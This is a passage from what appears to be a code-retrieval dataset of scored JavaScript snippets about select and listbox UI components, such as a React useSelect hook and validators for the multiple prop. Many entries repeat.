_props$multiple = props.multiple,\n multiple = _props$multiple === void 0 ? false : _props$multiple,\n _onChange = props.onChange,\n _onHighlightChange = props.onHighlightChange,\n onOpenChange = props.onOpenChange,\n _props$open = props.open,\n open = _props$open === void 0 ? false : _props$open,\n options = props.options,\n _props$optionStringif = props.optionStringifier,\n optionStringifier = _props$optionStringif === void 0 ? defaultOptionStringifier : _props$optionStringif,\n valueProp = props.value;\n var buttonRef = React.useRef(null);\n var handleButtonRef = useForkRef(buttonRefProp, buttonRef);\n var listboxRef = React.useRef(null);\n var listboxId = useId(listboxIdProp);\n var defaultValue;\n if (valueProp === undefined && defaultValueProp === undefined) {\n defaultValue = [];\n } else if (defaultValueProp !== undefined) {\n defaultValue = multiple ? defaultValueProp : [defaultValueProp];\n }\n var value = React.useMemo(function () {\n if (valueProp !== undefined) {\n return multiple ? valueProp : [valueProp];\n }\n return undefined;\n }, [valueProp, multiple]);\n var optionsMap = React.useMemo(function () {\n var map = new Map();\n options.forEach(function (option) {\n map.set(option.value, option);\n });\n return map;\n }, [options]);\n\n // prevents closing the listbox on keyUp right after opening it\n var ignoreEnterKeyUp = React.useRef(false);\n\n // prevents reopening the listbox when button is clicked\n // (listbox closes on lost focus, then immediately reopens on click)\n var ignoreClick = React.useRef(false);\n\n // Ensure the listbox is focused after opening\n var _React$useState = React.useState(false),\n listboxFocusRequested = _React$useState[0],\n requestListboxFocus = _React$useState[1];\n var focusListboxIfRequested = React.useCallback(function () {\n if (listboxFocusRequested && listboxRef.current != null) {\n listboxRef.current.focus();\n requestListboxFocus(false);\n }\n }, [listboxFocusRequested]);\n var handleListboxRef = useForkRef(listboxRefProp, listboxRef, focusListboxIfRequested);\n var _useSelectChangeNotif = useSelectChangeNotifiers(),\n notifySelectionChanged = _useSelectChangeNotif.notifySelectionChanged,\n notifyHighlightChanged = _useSelectChangeNotif.notifyHighlightChanged,\n registerHighlightChangeHandler = _useSelectChangeNotif.registerHighlightChangeHandler,\n registerSelectionChangeHandler = _useSelectChangeNotif.registerSelectionChangeHandler;\n React.useEffect(function () {\n focusListboxIfRequested();\n }, [focusListboxIfRequested]);\n React.useEffect(function () {\n requestListboxFocus(open);\n }, [open]);\n var createHandleMouseDown = function createHandleMouseDown(otherHandlers) {\n return function (event) {\n var _otherHandlers$onMous;\n otherHandlers == null ? void 0 : (_otherHandlers$onMous = otherHandlers.onMouseDown) == null ? void 0 : _otherHandlers$onMous.call(otherHandlers, event);\n if (!event.defaultPrevented && open) {\n ignoreClick.current = true;\n }\n };\n };\n var createHandleButtonClick = function createHandleButtonClick(otherHandlers) {\n return function (event) {\n var _otherHandlers$onClic;\n otherHandlers == null ? void 0 : (_otherHandlers$onClic = otherHandlers.onClick) == null ? void 0 : _otherHandlers$onClic.call(otherHandlers, event);\n if (!event.defaultPrevented && !ignoreClick.current) {\n onOpenChange == null ? void 0 : onOpenChange(!open);\n }\n ignoreClick.current = false;\n };\n };\n var createHandleButtonKeyDown = function createHandleButtonKeyDown(otherHandlers) {\n return function (event) {\n var _otherHandlers$onKeyD;\n otherHandlers == null ? void 0 : (_otherHandlers$onKeyD = otherHandlers.onKeyDown) == null ? void 0 : _otherHandlers$onKeyD.call(otherHandlers, event);\n if (event.defaultPrevented) {\n return;\n }\n if (event.key === 'Enter') {\n ignoreEnterKeyUp.current = true;\n }\n if (event.key === 'ArrowDown' || event.key === 'ArrowUp') {\n event.preventDefault();\n onOpenChange == null ? void 0 : onOpenChange(true);\n }\n };\n };\n var createHandleListboxKeyUp = function createHandleListboxKeyUp(otherHandlers) {\n return function (event) {\n var _otherHandlers$onKeyU;\n otherHandlers == null ? void 0 : (_otherHandlers$onKeyU = otherHandlers.onKeyUp) == null ? void 0 : _otherHandlers$onKeyU.call(otherHandlers, event);\n if (event.defaultPrevented) {\n return;\n }\n var closingKeys = multiple ? ['Escape'] : ['Escape', 'Enter', ' '];\n if (open && !ignoreEnterKeyUp.current && closingKeys.includes(event.key)) {\n var _buttonRef$current;\n buttonRef == null ? void 0 : (_buttonRef$current = buttonRef.current) == null ? void 0 : _buttonRef$current.focus();\n }\n ignoreEnterKeyUp.current = false;\n };\n };\n var createHandleListboxItemClick = React.useCallback(function (otherHandlers) {\n return function (event) {\n var _otherHandlers$onClic2;\n otherHandlers == null ? void 0 : (_otherHandlers$onClic2 = otherHandlers.onClick) == null ? void 0 : _otherHandlers$onClic2.call(otherHandlers, event);\n if (event.defaultPrevented) {\n return;\n }\n if (!multiple) {\n onOpenChange == null ? void 0 : onOpenChange(false);\n }\n };\n }, [multiple, onOpenChange]);\n var createHandleListboxBlur = function createHandleListboxBlur(otherHandlers) {\n return function (event) {\n var _otherHandlers$onBlur;\n otherHandlers == null ? void 0 : (_otherHandlers$onBlur = otherHandlers.onBlur) == null ? void 0 : _otherHandlers$onBlur.call(otherHandlers, event);\n if (!event.defaultPrevented) {\n onOpenChange == null ? void 0 : onOpenChange(false);\n }\n };\n };\n var listboxReducer = React.useCallback(function (state, action) {\n var newState = defaultListboxReducer(state, action);\n switch (action.type) {\n case ActionTypes.keyDown:\n // change selection when listbox is closed\n if ((action.event.key === 'ArrowUp' || action.event.key === 'ArrowDown') && !open && !multiple) {\n return _extends({}, newState, {\n selectedValues: newState.highlightedValue != null ? [newState.highlightedValue] : []\n });\n }\n break;\n case ActionTypes.blur:\n case ActionTypes.setValue:\n case ActionTypes.optionsChange:\n return _extends({}, newState, {\n highlightedValue: newState.selectedValues.length > 0 ? newState.selectedValues[0] : null\n });\n default:\n return newState;\n }\n return newState;\n }, [open, multiple]);\n var _useButton = useButton({\n disabled: disabled,\n ref: handleButtonRef\n }),\n getButtonRootProps = _useButton.getRootProps,\n buttonActive = _useButton.active,\n buttonFocusVisible = _useButton.focusVisible;\n var optionValues = React.useMemo(function () {\n return options.map(function (o) {\n return o.value;\n });\n }, [options]);\n var isOptionDisabled = React.useCallback(function (valueToCheck) {\n var _option$disabled;\n var option = optionsMap.get(valueToCheck);\n return (_option$disabled = option == null ? void 0 : option.disabled) != null ? _option$disabled : false;\n }, [optionsMap]);\n var stringifyOption = React.useCallback(function (valueToCheck) {\n var option = optionsMap.get(valueToCheck);\n if (!option) {\n return '';\n }\n return optionStringifier(option);\n }, [optionsMap, optionStringifier]);\n var useListboxParameters = {\n defaultValue: defaultValue,\n id: listboxId,\n isOptionDisabled: isOptionDisabled,\n listboxRef: handleListboxRef,\n onChange: function onChange(e, newValues) {\n if (multiple) {\n _onChange == null ? void 0 : _onChange(e, newValues);\n } else {\n var _newValues$;\n _onChange == null ? void 0 : _onChange(e, (_newValues$ = newValues[0]) != null ? _newValues$ : null);\n }\n },\n onHighlightChange: function onHighlightChange(e, newValue) {\n _onHighlightChange == null ? void 0 : _onHighlightChange(e, newValue != null ? newValue : null);\n },\n options: optionValues,\n optionStringifier: stringifyOption,\n selectionLimit: multiple ? null : 1,\n stateReducer: listboxReducer,\n value: value\n };\n var _useListbox = useListbox(useListboxParameters),\n getListboxRootProps = _useListbox.getRootProps,\n getListboxOptionProps = _useListbox.getOptionProps,\n getOptionState = _useListbox.getOptionState,\n highlightedOption = _useListbox.highlightedOption,\n selectedOption = _useListbox.selectedOption;\n React.useEffect(function () {\n notifySelectionChanged(selectedOption);\n }, [selectedOption, notifySelectionChanged]);\n React.useEffect(function () {\n notifyHighlightChanged(highlightedOption);\n }, [highlightedOption, notifyHighlightChanged]);\n var getButtonProps = function getButtonProps() {\n var otherHandlers = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n return _extends({}, getButtonRootProps(_extends({}, otherHandlers, {\n onClick: createHandleButtonClick(otherHandlers),\n onMouseDown: createHandleMouseDown(otherHandlers),\n onKeyDown: createHandleButtonKeyDown(otherHandlers)\n })), {\n role: 'combobox',\n 'aria-expanded': open,\n 'aria-haspopup': 'listbox',\n 'aria-controls': listboxId\n });\n };\n var getListboxProps = function getListboxProps() {\n var otherHandlers = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n return getListboxRootProps(_extends({}, otherHandlers, {\n onBlur: createHandleListboxBlur(otherHandlers),\n onKeyUp: createHandleListboxKeyUp(otherHandlers)\n }));\n };\n var getOptionProps = React.useCallback(function (optionValue) {\n var otherHandlers = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};\n return getListboxOptionProps(optionValue, _extends({}, otherHandlers, {\n onClick: createHandleListboxItemClick(otherHandlers)\n }));\n }, [getListboxOptionProps, createHandleListboxItemClick]);\n React.useDebugValue({\n selectedOption: selectedOption,\n highlightedOption: highlightedOption,\n open: open\n });\n var contextValue = React.useMemo(function () {\n return {\n listboxRef: listboxRef,\n getOptionProps: getOptionProps,\n getOptionState: getOptionState,\n registerHighlightChangeHandler: registerHighlightChangeHandler,\n registerSelectionChangeHandler: registerSelectionChangeHandler\n };\n }, [getOptionProps, getOptionState, registerHighlightChangeHandler, registerSelectionChangeHandler]);\n if (props.multiple) {\n return {\n buttonActive: buttonActive,\n buttonFocusVisible: buttonFocusVisible,\n disabled: disabled,\n getButtonProps: getButtonProps,\n getListboxProps: getListboxProps,\n contextValue: contextValue,\n open: open,\n value: selectedOption,\n highlightedOption: highlightedOption\n };\n }\n return {\n buttonActive: buttonActive,\n buttonFocusVisible: buttonFocusVisible,\n disabled: disabled,\n getButtonProps: getButtonProps,\n getListboxProps: getListboxProps,\n contextValue: contextValue,\n open: open,\n value: selectedOption.length > 0 ? selectedOption[0] : null,\n highlightedOption: highlightedOption\n };\n}", "title": "" }, { "docid": "8af612af23dfd260d7192416b1b45f85", "score": "0.5872222", "text": "_onSelectValue(value) {\n value = this._convertSingleValue(value);\n\n if (!this.multiSelect) {\n this.value = value;\n return;\n }\n\n if (this._values) {\n let dirty = false;\n this._values.forEach((arr) => {\n if (!arr) {\n arr = [value];\n dirty = true;\n } else {\n if (arr.indexOf(value) === -1) {\n arr.push(value);\n dirty = true;\n }\n }\n });\n\n if (dirty) {\n this._onMultipleValuesChange(this._values);\n\n this.emit('change', this.value);\n\n if (this._binding) {\n this._binding.addValues([value]);\n }\n }\n } else {\n if (!this._value || !Array.isArray(this._value)) {\n this.value = [value];\n } else {\n if (this._value.indexOf(value) === -1) {\n this._value.push(value);\n\n this._addTag(value);\n\n this.emit('change', this.value);\n\n if (this._binding) {\n this._binding.addValues([value]);\n }\n }\n }\n }\n }", "title": "" }, { "docid": "2d891cd54e7efe0e617e510fd98f3bcb", "score": "0.58673173", "text": "function updateOptions() {\n /*jshint validthis:true */\n var propValue = this.getValue();\n var value = propValue != null ? propValue : this.state.value;\n var options = this.getDOMNode().options;\n var selectedValue = '' + value;\n\n for (var i = 0, l = options.length; i < l; i++) {\n var selected = this.props.multiple ?\n selectedValue.indexOf(options[i].value) >= 0 :\n selected = options[i].value === selectedValue;\n\n if (selected !== options[i].selected) {\n options[i].selected = selected;\n }\n }\n}", "title": "" }, { "docid": "edca9e795eda497240a7f956864b7a26", "score": "0.57973355", "text": "function SingleValue(_ref) {\n var data = _ref.data,\n props = _objectWithoutProperties(_ref, _excluded);\n\n return /*#__PURE__*/React.createElement(components.SingleValue, props, data.label);\n} // Component to define the single dropdown option", "title": "" }, { "docid": "ad257cfdbeb15df1438935d16fb12fdd", "score": "0.5785778", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n (\"production\" !== \"development\" ? invariant(\n Array.isArray(props[propName]),\n 'The `%s` prop supplied to <select> must be an array if `multiple` is ' +\n 'true.',\n propName\n ) : invariant(Array.isArray(props[propName])));\n } else {\n (\"production\" !== \"development\" ? invariant(\n !Array.isArray(props[propName]),\n 'The `%s` prop supplied to <select> must be a scalar value if ' +\n '`multiple` is false.',\n propName\n ) : invariant(!Array.isArray(props[propName])));\n }\n}", "title": "" }, { "docid": "ad257cfdbeb15df1438935d16fb12fdd", "score": "0.5785778", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n (\"production\" !== \"development\" ? invariant(\n Array.isArray(props[propName]),\n 'The `%s` prop supplied to <select> must be an array if `multiple` is ' +\n 'true.',\n propName\n ) : invariant(Array.isArray(props[propName])));\n } else {\n (\"production\" !== \"development\" ? invariant(\n !Array.isArray(props[propName]),\n 'The `%s` prop supplied to <select> must be a scalar value if ' +\n '`multiple` is false.',\n propName\n ) : invariant(!Array.isArray(props[propName])));\n }\n}", "title": "" }, { "docid": "ad257cfdbeb15df1438935d16fb12fdd", "score": "0.5785778", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n (\"production\" !== \"development\" ? invariant(\n Array.isArray(props[propName]),\n 'The `%s` prop supplied to <select> must be an array if `multiple` is ' +\n 'true.',\n propName\n ) : invariant(Array.isArray(props[propName])));\n } else {\n (\"production\" !== \"development\" ? invariant(\n !Array.isArray(props[propName]),\n 'The `%s` prop supplied to <select> must be a scalar value if ' +\n '`multiple` is false.',\n propName\n ) : invariant(!Array.isArray(props[propName])));\n }\n}", "title": "" }, { "docid": "b9e73ee6074d6792be339552ca8e8cd0", "score": "0.5775518", "text": "constructor(title, multiple, optionList) {\n this._type = 'multiple_choice';\n this._title = title;\n this._optionList = optionList;\n this._multiple = multiple;\n this._uuid = generateUUID();\n }", "title": "" }, { "docid": "05e93d7c634b6cf80287f06a06ee50c5", "score": "0.5771705", "text": "set value(values) {\n const selectedOptions = [];\n values.forEach((value) => {\n const option = this.options.find((option) => option.value === value);\n if (option) selectedOptions.push(option);\n else throw new Error(`${value} doesn't exist within the options array`);\n });\n\n this.selectedOptions = [...selectedOptions];\n }", "title": "" }, { "docid": "f6569389c990c4528ec7496bd50d78a7", "score": "0.57435244", "text": "set multiple(multiple) {\n // TODO: not implemented\n }", "title": "" }, { "docid": "cabf90aa5b7f71b15b650cc4044b18c5", "score": "0.57051444", "text": "function selectValueType(props, propName, componentName) {\n\t if (props[propName] == null) {\n\t return null;\n\t }\n\t if (props.multiple) {\n\t if (!Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n\t (\"`multiple` is true.\")\n\t );\n\t }\n\t } else {\n\t if (Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n\t (\"value if `multiple` is false.\")\n\t );\n\t }\n\t }\n\t}", "title": "" }, { "docid": "cabf90aa5b7f71b15b650cc4044b18c5", "score": "0.57051444", "text": "function selectValueType(props, propName, componentName) {\n\t if (props[propName] == null) {\n\t return null;\n\t }\n\t if (props.multiple) {\n\t if (!Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n\t (\"`multiple` is true.\")\n\t );\n\t }\n\t } else {\n\t if (Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n\t (\"value if `multiple` is false.\")\n\t );\n\t }\n\t }\n\t}", "title": "" }, { "docid": "cabf90aa5b7f71b15b650cc4044b18c5", "score": "0.57051444", "text": "function selectValueType(props, propName, componentName) {\n\t if (props[propName] == null) {\n\t return null;\n\t }\n\t if (props.multiple) {\n\t if (!Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n\t (\"`multiple` is true.\")\n\t );\n\t }\n\t } else {\n\t if (Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n\t (\"value if `multiple` is false.\")\n\t );\n\t }\n\t }\n\t}", "title": "" }, { "docid": "cabf90aa5b7f71b15b650cc4044b18c5", "score": "0.57051444", "text": "function selectValueType(props, propName, componentName) {\n\t if (props[propName] == null) {\n\t return null;\n\t }\n\t if (props.multiple) {\n\t if (!Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n\t (\"`multiple` is true.\")\n\t );\n\t }\n\t } else {\n\t if (Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n\t (\"value if `multiple` is false.\")\n\t );\n\t }\n\t }\n\t}", "title": "" }, { "docid": "cabf90aa5b7f71b15b650cc4044b18c5", "score": "0.57051444", "text": "function selectValueType(props, propName, componentName) {\n\t if (props[propName] == null) {\n\t return null;\n\t }\n\t if (props.multiple) {\n\t if (!Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n\t (\"`multiple` is true.\")\n\t );\n\t }\n\t } else {\n\t if (Array.isArray(props[propName])) {\n\t return new Error(\n\t (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n\t (\"value if `multiple` is false.\")\n\t );\n\t }\n\t }\n\t}", "title": "" }, { "docid": "e2c19b8819f1283b0492d06ea8d86e3a", "score": "0.565358", "text": "render(){\n return(\n <form onSubmit={this.handleSubmit.bind(this)}>\n <label>\n Pick your favorite flavor:\n \n <select multiple={true} value={[this.state.value, 'lime']} onChange={this.handleChange.bind(this)}>\n\n <option value=\"grapefruit\">GRAPEFRUIT</option>\n <option value=\"lime\">LIME</option>\n <option value=\"coconut\">COCONUT</option>\n <option value=\"mango\">MANGO</option>\n </select>\n </label>\n <input value=\"kale\" readOnly/>\n <input type=\"submit\" value=\"Submit Flavor\" />\n \n </form>\n );\n }", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "ea80d25371a53ba8a0462ab7f0b63964", "score": "0.56319374", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "d15b403ed6b6e4f7597169102ed1653c", "score": "0.5629453", "text": "function select_select(multiple) {\n if (multiple) {\n return {\n on: 'change',\n getValue: function getValue() {\n var options = this.options;\n var result = [];\n\n for (var i = 0; options.length > i; i++) {\n if (options[i].selected) {\n result.push(options[i].value);\n }\n }\n\n return result;\n },\n setValue: function setValue(givenValue) {\n var options = this.options;\n var value = typeof givenValue === 'string' ? [givenValue] : givenValue;\n\n for (var i = options.length - 1; i >= 0; i--) {\n options[i].selected = ~value.indexOf(options[i].value);\n }\n }\n };\n }\n\n return {\n on: 'change',\n getValue: function getValue() {\n return this.value;\n },\n setValue: function setValue(value) {\n this.value = value;\n\n if (!value) {\n var options = this.options;\n\n for (var i = options.length - 1; i >= 0; i--) {\n if (!options[i].value) {\n options[i].selected = true;\n break;\n }\n }\n }\n }\n };\n}", "title": "" }, { "docid": "5f4c12ab2dcfba55635f1c29ba746ea9", "score": "0.5554899", "text": "function setSingleValue (value, input, index, options) {\n options = options || {}\n if (options.compareValues) {\n input.compareValues = input.compareValues || emptyValues()\n }\n const valuesKey = options.compareValues ? 'compareValues' : 'values'\n if (options.noOverwrite && input[ valuesKey ][ index ] && input[ valuesKey ][ index ].current && input[ valuesKey ][ index ].current.value) {\n return\n }\n if (options.demoteAcceptedSuggestions) {\n const acceptedSource = _.chain([ input ]).pluck(valuesKey).pluck(index).pluck('current').pluck('accepted').pluck('source').compact().first().value()\n if (acceptedSource && input[ valuesKey ][ index ].current.value !== '') {\n input.suggestedValues = input.suggestedValues || []\n input.suggestedValues.push({\n source: acceptedSource,\n value: input[ valuesKey ][ index ].current.value\n })\n input.suggestionsAreDemoted = true\n }\n }\n input[ valuesKey ][ index ] = {\n old: options.keepOld ? input.values[ index ].old : {\n value: value.value,\n lang: value.lang\n },\n current: {\n value: value.value,\n lang: value.lang,\n accepted: options.source ? { source: options.source } : undefined\n },\n uniqueId: _.uniqueId(),\n expanded: value.value === '' && input.suggestionsAreDemoted\n }\n if (input[ valuesKey ][ index ].current.accepted) {\n setSuggestionsAreAcceptedForParentInput(input, index)\n }\n ractive.update(`${input.keypath}.${valuesKey}.${index}`)\n }", "title": "" }, { "docid": "1bf09ddd282675c2e942a927625513d4", "score": "0.5546501", "text": "function optionPropertiesSelector(name, value, stateOptions) {\n // if no options are set or they are invalid return empty\n if (!stateOptions || !Array.isArray(stateOptions) || stateOptions.length < 1) return [];\n\n // Parses options stored in state and creates an object that can be injected into\n // React Option components\n return stateOptions.map((stateOption) => {\n let viewOption = {\n name,\n checked: false\n };\n\n // If options are a string then make text and value the same\n // If null then set key to be none, text to be None, and value to null\n // Else gets complex value set for option\n let optionKey;\n if (_.isString(stateOption)) {\n optionKey = stateOption;\n viewOption.text = stateOption;\n viewOption.value = stateOption;\n viewOption.id = name + '-' + optionKey;\n } else if (_.isBoolean(stateOption)) {\n optionKey = stateOption;\n viewOption.text = stateOption ? 'Yes' : 'No';\n viewOption.value = stateOption;\n viewOption.id = name + '-' + optionKey;\n } else if (_.isNull(stateOption)) {\n optionKey = null;\n viewOption.text = 'None';\n viewOption.value = 'null';\n viewOption.id = name + '-null';\n } else if (_.isPlainObject(stateOption)) {\n viewOption = { ...viewOption, ...stateOption };\n optionKey = viewOption.value;\n } else {\n optionKey = stateOption.value;\n viewOption.text = stateOption.text;\n viewOption.value = stateOption.value;\n viewOption.id = name + '-' + optionKey;\n }\n\n\n // Compares the option key to the value of the field\n // If value is an array (group) tried to see if contained\n // Otherways just does straight key matching\n let contains = false;\n if (Array.isArray(value)) {\n // checks to see if option is in the array\n contains = (value.indexOf(optionKey) > -1);\n } else {\n // checks for simple match\n contains = (value === optionKey);\n }\n\n // Sets both alias for checked and selected\n // Handles Mutli selects and checkbox groups\n if (contains) {\n viewOption.selected = true;\n viewOption.checked = true;\n }\n\n return viewOption;\n });\n }", "title": "" }, { "docid": "0c5b671d42222a63e19e76e002a347a8", "score": "0.5524673", "text": "writeValue(value) {\n this.value = value;\n let optionSelectedStateSetter;\n if (Array.isArray(value)) {\n // convert values to ids\n const ids = value.map((v) => this._getOptionId(v));\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(ids.indexOf(o.toString()) > -1);\n };\n }\n else {\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(false);\n };\n }\n this._optionMap.forEach(optionSelectedStateSetter);\n }", "title": "" }, { "docid": "0c5b671d42222a63e19e76e002a347a8", "score": "0.5524673", "text": "writeValue(value) {\n this.value = value;\n let optionSelectedStateSetter;\n if (Array.isArray(value)) {\n // convert values to ids\n const ids = value.map((v) => this._getOptionId(v));\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(ids.indexOf(o.toString()) > -1);\n };\n }\n else {\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(false);\n };\n }\n this._optionMap.forEach(optionSelectedStateSetter);\n }", "title": "" }, { "docid": "0c5b671d42222a63e19e76e002a347a8", "score": "0.5524673", "text": "writeValue(value) {\n this.value = value;\n let optionSelectedStateSetter;\n if (Array.isArray(value)) {\n // convert values to ids\n const ids = value.map((v) => this._getOptionId(v));\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(ids.indexOf(o.toString()) > -1);\n };\n }\n else {\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(false);\n };\n }\n this._optionMap.forEach(optionSelectedStateSetter);\n }", "title": "" }, { "docid": "0c5b671d42222a63e19e76e002a347a8", "score": "0.5524673", "text": "writeValue(value) {\n this.value = value;\n let optionSelectedStateSetter;\n if (Array.isArray(value)) {\n // convert values to ids\n const ids = value.map((v) => this._getOptionId(v));\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(ids.indexOf(o.toString()) > -1);\n };\n }\n else {\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(false);\n };\n }\n this._optionMap.forEach(optionSelectedStateSetter);\n }", "title": "" }, { "docid": "0c5b671d42222a63e19e76e002a347a8", "score": "0.5524673", "text": "writeValue(value) {\n this.value = value;\n let optionSelectedStateSetter;\n if (Array.isArray(value)) {\n // convert values to ids\n const ids = value.map((v) => this._getOptionId(v));\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(ids.indexOf(o.toString()) > -1);\n };\n }\n else {\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(false);\n };\n }\n this._optionMap.forEach(optionSelectedStateSetter);\n }", "title": "" }, { "docid": "0c5b671d42222a63e19e76e002a347a8", "score": "0.5524673", "text": "writeValue(value) {\n this.value = value;\n let optionSelectedStateSetter;\n if (Array.isArray(value)) {\n // convert values to ids\n const ids = value.map((v) => this._getOptionId(v));\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(ids.indexOf(o.toString()) > -1);\n };\n }\n else {\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(false);\n };\n }\n 